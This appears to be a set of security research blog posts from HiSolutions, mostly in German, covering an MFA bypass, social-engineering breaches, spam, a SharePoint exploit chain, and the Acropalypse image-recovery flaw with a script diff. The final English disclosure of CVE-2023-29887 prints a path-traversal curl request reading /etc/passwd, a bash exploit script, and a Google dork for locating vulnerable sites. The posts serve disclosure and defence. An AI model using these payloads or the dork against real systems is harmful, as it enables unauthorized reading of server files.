Es ist nicht immer MFA, wenn MFA draufsteht.

Am 27. August wurde die Firma Retool, der Anbieter einer Low-Code-Entwicklungsplattform, Opfer eines Social-Engineering-Angriffs. Dank der im April eingeführten Synchronisationsfunktion der Google-Authenticator-App konnten Angreifer die Multi-Faktor-Authentifizierung (MFA) zu einer Single-Faktor-Authentifizierung downgraden und sich so Zugriff zum Retool-Netzwerk verschaffen.

Der initiale Eindringvektor der Angreifer war ein Smishing-Angriff (Phishing über SMS-Textnachrichten) an mehrere Retool-Mitarbeiter. Ein Mitarbeiter ist dem Aufruf der Nachricht gefolgt und hat seine Zugangsdaten auf einem gefälschten Log-in-Portal eingegeben. Da Retool MFA verwendet, erhielten die Angreifer mit den Zugangsdaten allein jedoch noch keinen Zugriff zu den Accounts oder dem Retool-Netzwerk. Daher starteten sie einen gut vorbereiteten Vishing-Anruf (Phishing über Telefon) gegen den Mitarbeiter und konnten diesem auch einen Code für die Multi-Faktor-Authentifizierung entlocken.

Die Angreifer verwendeten die Zugangsdaten und den MFA-Code, um ihr Gerät mit dem SSO-Konto des Mitarbeiters zu verbinden und u. a. Zugriff zu seinem Google-Konto zu erhalten. Dies erwies sich als verheerend, da Google seine in der Google-Authenticator-App generierten MFA-Codes seit April 2023 automatisch mit dem Google-Konto synchronisiert. Die Angreifer konnten nun die MFA-Codes, welche z. B. bei der Verbindung mit dem Retool-VPN oder den Verwaltungssystemen benötigt wurden, einfach aus dem Google-Konto des kompromittierten Mitarbeiters auslesen. Effektiv wurde die Multi-Faktor-Authentifizierung (MFA) dadurch zu einer Single-Faktor-Authentifizierung herabgestuft.

Unternehmen, welche auf die Google-Authenticator-App setzen, sollten sich bewusst sein, dass die Synchronisationsfunktion standardmäßig aktiv ist. Das Deaktivieren der Funktion ist nur möglich, indem das Google-Konto vollständig von der App entkoppelt wird.

Immer wieder überrascht die Kreativität der Angreifer, mit welcher versucht wird, MFA zu umgehen. Seit Jahren werden bspw. SIM-Swapping-Angriffe dazu genutzt, um über SMS versendete MFA-Codes abzufangen.

Mittels sogenannten MFA-Bombing- oder MFA-Fatigue-Angriffen ist es der Hackergruppe “Lapsus$” Anfang 2022 gelungen, die MFA von Microsoft und anderen Unternehmen zu umgehen. Bei diesem Angriff werden die betroffene Personen mit MFA-Anfragen überflutet, z. B. um 1 Uhr nachts, in der Hoffnung, dass sie in der Stress-Situation oder versehentlich eine davon akzeptieren.

Einen Phishing-resistenteren MFA-Schutz bieten Sticks oder Android-Smartphones mit Fido bzw. WebAuthn. Der Nachteil dieser Lösung ist, dass der zu schützende Dienst diese unterstützen muss.

https://retool.com/blog/mfa-isnt-mfa/

https://security.googleblog.com/2023/04/google-authenticator-now-supports.html

https://www.golem.de/news/retool-kritisiert-google-authenticator-macht-cyberangriff-erst-richtig-effektiv-2309-177706.html#

https://www.golem.de/news/lapsus-hackergruppe-umgeht-2fa-mit-einfachem-trick-2203-164236.html

HiSolutions Research

Die Suche nach dem großen Glück

Manche setzen sich ins Casino, um das große Geld zu machen. Anderen reicht ein zehnminütiger Anruf beim Casino-Helpdesk, um dem finanziellen Glück auf die Sprünge zu helfen.

Diesen Weg nutzte eine Hacker-Gruppe, um in das Netzwerk der amerikanischen Hotel- und Casino-Kette “MGM Ressort” einzubrechen. Laut eigener Angaben benötigten sie dazu lediglich ein zehnminütiges, mit Sicherheit gut vorbereitetes Gespräch mit einem Helpdesk-Mitarbeiter. In der Folge des Angriffs waren zahlreiche Systeme wie beispielsweise digitale Türverriegelungen, Kassensysteme sowie Geldautomaten und einige Spielautomaten gestört.

Selbst ohne die Zahlung eines Lösegelds kostete der Angriff den MGM-Konzern rund 100 Millionen US-Dollar. Der Großteil davon ist auf ausgefallene Zimmerbuchung aufgrund nicht erreichbarer Buchungsseiten und -schnittstellen zurückzuführen.

https://edition.cnn.com/2023/10/05/business/mgm-100-million-hit-data-breach/index.html

https://www.heise.de/news/l-f-Zehnminuten-Telefonat-ermoeglicht-MGM-Hack-9305196.html

https://www.golem.de/news/mgm-und-caesars-jugendliche-hacker-legten-kasinos-in-las-vegas-lahm-2309-177940.html

HiSolutions Research

Spam ist tot – es lebe der Spam!

Vor fast 20 Jahren sagte der Erfinder des Personal Computers, Bill Gates, einmal: “In zwei Jahren wird das Spam-Problem gelöst sein.”

Ein Blick auf die Auswertungen von Kaspersky zeichnet ein ernüchternd anderes Bild. Laut der Studie lag der Anteil von Spam-E-Mails am weltweiten E-Mail-Verkehr im Jahr 2022 bei 48,6 %. Für Phishing-Versuche im vergangenen Jahr wurde als Aufhänger besonders gern die Fußballweltmeisterschaft verwendet, bei der die Opfer mit vermeintlichen Gewinnspielen gelockt wurden.

Besonders dreist waren Phishing-Kampagnen mit gefälschten Spenden-Portalen für den Ukraine-Krieg oder Registrierungsseiten für vermeintliche COVID-Impfungen. Dass Spam sich nicht allein auf E-Mail begrenzt, zeigt beispielsweise die Verdreifachung von Phishing-Angriffen über die Messenger-App Telegram im Vergleich zum Vorjahr.

Man kann also davon ausgehen, dass Spam auf absehbare Zeit ein ungelöstes Problem bleibt. Dabei passen sich die Spammer an neue “Vertriebswege”, wie z. B. App-bezogenen Spam an. Schade Bill Gates, auch Visionäre können irren.

https://securelist.com/spam-phishing-scam-report-2022/108692/

HiSolutions Research

Preisgekrönt: Microsoft-Sharepoint unauthenticated Code-Execution

Aktuell kursieren Fragmente einer Exploit-Chain, die es unauthentifizierten Angreifern ermöglicht, über eine Lücke in Microsoft Sharepoint Administratorrechte auf einem Server zu erlangen.

Ein Teilnehmer des bekannten Pwn2Own-Wettbewerbs hatte die Exploit-Chain bei der Veranstaltung im März 2023 live demonstriert und dafür ein Preisgeld von 100.000 US-Dollar erhalten. Ende September veröffentlichte er eine sehr lesenswerte Analyse der Exploit-Entwicklungsgeschichte, ohne dabei jedoch den vollständigen Exploit-Code bereitzustellen.

Doch bereits einen Tag nach der Veröffentlichung tauchte ein GitHub-Repository auf, welches den Proof-of-Concept-Code für die zweite Hälfte der Exploit-Chain enthielt. Es ist nur eine Frage der Zeit, bis Angreifer den PoC ausbauen, um einen vollständigen Exploit zu erhalten.

Administratoren wird daher geraten, die Microsoft-Sharepoint-Patches zur Schließung der Sicherheitslücken CVE-2023-24955 und CVE-2023-29357 einzuspielen.

https://www.golem.de/news/jetzt-patchen-exploit-fuer-kritische-sharepoint-schwachstelle-aufgetaucht-2309-178119.html

https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/https://github.com/Chocapikk/CVE-2023-29357

“Acropalypse” NOW!

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Package-ID „com.google.android.markup“) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Hintergrund

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Google Markup) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Simon Aarons und David Buchanan fiel auf, dass dies bei beschnittenen Fotos auf Google Pixel Smartphones nicht der Fall zu sein scheint. Das Smartphone zeigte zwar ausschließlich den beschnittenen Bildbereich an, dennoch blieb die Dateigröße nahezu unverändert. Dies legte den Verdacht nahe, dass die originalen Bildinformationen noch vorhanden sein könnten.

Ihre Analyse ergab, dass beim Speichern des beschnittenen Bildes tatsächlich nicht das alte Bild gelöscht wird Stattdessen wird mit dem neuen, kleineren Bildausschnitt nur der Beginn des alten Bildes überschrieben. Die alten Bildinformationen sind jedoch weiterhin in großen Teilen vorhanden. Aarons und Buchanan entwickelten daraufhin ein Web-Tool mit dem sich das ursprüngliche Bild aus dem einem beschnittenen weitestgehend rekonstruieren lässt. Die Schwachstelle hat trägt die offizielle CVE-ID „CVE-2023-21036“.

Die folgende Abbildung soll den Unterschied zwischen erwartetem Ergebnis und tatsächlichem Ergebnis veranschaulichen. Die „IEND“-Byte-Folge markiert in einer PNG-Datei die Stelle an dem das Ende der Bildinformationen erreicht ist.

Bildbetrachtungsprogramme haben mit dem Anzeigen der Variante (2) des Bildes kein Problem, da die IEND-Byte-Folge korrekt hinter dem beschnittenen Bildausschnitt gesetzt wurde. Aus Sicht der Image-Tools handelte es sich um ein syntaktisch korrekte PNG-Datei. Informationen nach dem IEND werden einfach ignoriert. Mittlerweile wurde eine Sicherheitslücke im Microsoft Snipping-Tool entdeckt, welche sich analog ausnutzen lässt. Wir haben dies zum Anlass genommen weitere Tools auf diese Art von Schwachstelle hinzu untersuchen, jedoch war keines davon anfällig. Die folgenden Tools wurden untersucht:

ToolVersion
IrfanView4.62
Greenshot1.2.10
XnView MP1.4.3
ShareX15.0
Durch die HiSolutions auf “Acropalypse”-Anfälligkeit untersuchte Tools

Zur Untersuchung haben wir die Dateigröße von Originaldatei und zugeschnittener Datei verglichen. Haben beide die gleiche Größe ist der Fehler sehr wahrscheinlich, da eine zugeschnittene Datei mit weniger Bildinhalt entsprechend weniger Speicherplatz benötigen sollte. Bei allen getesteten Tools war die Dateigröße der beschnittenen Datei deutlich kleiner als die der Originaldatei.

Da die Google-Pixel App und und das Microsoft Snipping-Tool eine unterschiedliche Code-Basis verwenden, gehen wir davon aus, dass es sich um einen vergleichbaren Logikfehler bei der Programmierung handelt: Beide Tools schreiben den kleineren Inhalt in die größere Originaldatei ohne die Restlänge der Datei verwerfen. Hinweis auf eine Schwachstelle, welche durch eine anfällige, gemeinsam genutzte Bibliothek entstanden ist, können wir nicht erkennen.

Proof-of-Concept

Das folgende Beispiel zeigt, wie aus einem, auf einem Google Pixel beschnittenes Bild, das Originalbild wiederhergestellt wird (pixel_cropped.png, pixel_original.png). Für die Wiederherstellung wurde dieses Script verwendet.

Das folgende Beispiel zeigt, wie aus einem, mit dem Windows Snipping-Tool beschnittenem Bild, das Originalbild wiederhergestellt wird (windows_cropped.png, windows_original.png).

Da das Snipping-Tool RGBA statt RGB als PNG Image Type verwendet, muss der oben verlinkte Code leicht angepasst werden, um auch hier das Original wiederherzustellen. Die Änderungen betreffenen die folgenden Zeilen:

132c132
< ihdr += (2).to_bytes(1, "big") # true colour
---
> ihdr += (6).to_bytes(1, "big") # true colour with alpha
140c140
< reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)
---
> reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff\xff" * orig_width) * orig_height)
149c149
< for i in range(0, len(reconstructed_idat), orig_width*3+1):
---
> for i in range(0, len(reconstructed_idat), orig_width*4+1):

Voraussetzung zur Ausnutzung

Nach Kenntnisstand vom 22.03.2023 müssen die folgenden Voraussetzungen gegeben sein, um eine anfällige Bild-Datei zu erhalten.

  • Das Bild muss mit einer anfälligen Software bearbeitet worden sein.
  • Nach aktuellem Kenntnisstand ist ausschließlich die nachträgliche Wiederherstellung aus PNG-Bildern möglich.
  • Die beschnittene Bilddatei, darf nicht nachträglich komprimiert worden sein, da sonst die verborgenen Bildinformationen entfernt werden.  Dies geschieht jedoch beim Upload auf online-Plattformen häufig automatisch.
  • Für die Rekonstruktion muss die Bildgröße des unbeschnittenen Originalbildes bekannt sein. Diese kann jedoch durch geschicktes ausprobieren von Standard-Displayauflösungen erraten, z. B. Full HD (1920 × 1080 Pixel), oder durch zusätzliche Metainformationen wie beispielsweise dem Handymodell ermittelt werden.

Auswirkungen

Personen mit Zugriff auf mit einer anfälligen Software beschnittene Bilder können große Teile des Originalbildes wiederherstellen. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese möglicherweise wieder sichtbar machen und für bösartige Absichten verwenden.

Der Grund dafür dass manche Bildinformationen verloren gehen, ist dem Aufbau des PNG-Dateiformats geschuldet. Bildinhalte werden in einer Sequenz sogenannter IDAT-Chunks gespeichert. Beim Speichern des beschnittenen Bildes über den Datei-Anfang des Originals werden bestimmte Teile des Originalbildes überschrieben. IDAT-Chunks die auf diese Weise verändert bzw. beschädigt werden können nicht korrekt wiederhergestellt werden, was zu einer wirren oder leeren Pixelfläche im wiederhergestellten Bild führt.

Gegenmaßnahmen

Wurden sensible Bilder mit einem der genannten Tools beschnitten und veröffentlich, dann sollten diese nach Möglichkeit von der betroffenen Plattform gelöscht werden. Dies ist jedoch nur notwendig, wenn die Bilder auf der Plattform unkomprimiert veröffentlicht sind (siehe „Voraussetzung zur Ausnutzung“).

Betroffene Bilddateien können repariert werden, indem das Bild in einem anderen Format (z. B. JPEG) gespeichert wird. Hierdurch werden die verborgenen Dateiinhalte abgeschnitten.

Google hat bereits reagiert und ein Update für seine Pixel-Smartphones veröffentlicht. Dieses sollte umgehend eingespielt werden. Bei der Verwendung des Microsoft Snipping-Tools sollten beschnittene Bilder als neue Datei unter einem anderen Dateinamen gespeichert werden. Dadurch wird verhindert, dass lediglich das alte Bild unsauber überschrieben wird. Ein Patch wurde zum aktuellen Zeitpunkt noch nicht veröffentlicht.

HiSolutions Research

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).